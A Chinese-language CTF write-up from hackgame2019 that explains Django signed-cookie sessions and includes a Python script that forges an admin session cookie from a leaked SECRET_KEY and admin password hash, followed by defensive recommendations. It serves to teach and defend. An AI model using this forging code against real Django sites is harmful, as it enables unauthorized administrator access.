从hackgame2019一道web分析Django cookie-session的安全性
字数 1707 2025-08-25 22:58:34
Django Cookie-Session 安全性分析与利用
背景介绍
本文基于hackgame2019的一道Web题目,分析Django框架中cookie-based session的安全机制及其潜在风险。题目场景是一个Django应用的管理员声称即使代码和数据库被泄露,由于admin密码长达1024位,攻击者也无法获取flag。
Django Session机制
Django支持多种session存储方式:
- 数据库支持的会话 (database-backed sessions)
- 缓存会话 (cached sessions)
- 基于文件的会话 (file-based sessions)
- 基于cookie的会话 (cookie-based sessions)
在本题中,配置使用了signed_cookies作为session存储方式:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_COOKIE_HTTPONLY = False # 允许JavaScript访问cookie
Django签名机制
Django使用签名算法保护cookie数据,主要API:
from django.core import signing
# 编码
value = signing.dumps({"foo": "bar"}) # 输出类似: 'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'
# 解码
signing.loads(value) # 输出: {'foo': 'bar'}
关键参数:
key: 签名密钥,默认使用SECRET_KEYsalt: 加盐字符串,默认"django.core.signing"
题目分析
1. 获取关键信息
从泄露的源码中获取:
SECRET_KEY:'d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'- 示例session cookie:
.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GXEI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ
2. Session解码
发现默认salt不适用,需使用特定salt:
signing.loads(
session_cookie,
key=SECRET_KEY,
salt='django.contrib.sessions.backends.signed_cookies'
)
解码后得到session内容:
{
'_auth_user_id': '2', # 用户ID
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'
}
3. 认证哈希分析
_auth_user_hash由以下方式生成:
def get_session_auth_hash(self):
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
其中:
self.password是数据库中存储的密码哈希值(非原始密码)- 密码哈希格式示例:
pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=
攻击步骤
1. 伪造管理员session
已知:
- 管理员用户ID为1
- 管理员密码哈希:
pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=
构造伪造session:
from django.core import signing
from django.utils.crypto import salted_hmac
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
signed_cookie_salt = 'django.contrib.sessions.backends.signed_cookies'
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
# 构造伪造session字典
fake_admin_session = {
'_auth_user_id': '1', # 管理员ID
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest()
}
# 编码为cookie
fake_admin_cookie = signing.dumps(fake_admin_session, key=SECRET_KEY, salt=signed_cookie_salt)
print(fake_admin_cookie)
2. 使用伪造cookie登录
将生成的cookie通过浏览器或curl等方式提交给服务器,即可获得管理员权限。
安全防护机制分析
题目场景中存在两重防护:
- Django框架层防护:依赖
SECRET_KEY保护session不被篡改 - Django-admin应用层防护:依赖
_auth_user_hash确保攻击者需要知道密码哈希
当两者同时泄露时(如本题中代码和数据库都被泄露),防护即被突破。
防御建议
-
保护SECRET_KEY:
- 不要将SECRET_KEY放入版本控制
- 使用环境变量或密钥管理服务
- 定期轮换SECRET_KEY
-
加强session安全:
- 优先使用服务器端session存储(数据库或缓存)
- 确保
SESSION_COOKIE_HTTPONLY=True - 考虑使用
SESSION_COOKIE_SECURE=True(仅HTTPS) - 设置合理的
SESSION_COOKIE_AGE
-
密码哈希保护:
- 将密码哈希视为敏感信息保护
- 使用强哈希算法(如PBKDF2, bcrypt等)
- 考虑额外pepper机制
总结
通过本题分析,我们了解到:
- Django的cookie-based session实现细节
- 签名机制中salt参数的重要性
- Django-admin的额外认证哈希机制
- 当SECRET_KEY和密码哈希同时泄露时的风险
- 如何构造伪造session进行权限提升
这提醒开发者在实现认证系统时需要考虑纵深防御,避免单点失效导致整个系统被攻破。